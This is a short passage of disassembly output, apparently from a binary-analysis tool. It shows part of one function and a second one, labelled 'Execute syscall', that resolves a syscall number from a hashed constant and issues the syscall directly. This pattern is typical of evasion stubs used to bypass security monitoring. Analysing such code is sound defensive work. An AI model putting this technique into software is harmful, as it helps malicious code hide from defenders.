lea eax, [r8 - 1]
cmp edx, eax
jb 0x140001450
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x20]
mov r15, qword [rsp]
mov eax, 1
add rsp, 0x18
ret
xor eax, eax
add rsp, 0x18
ret

Function at 0x140001b30
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x15882105
call fcn.1400014f0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret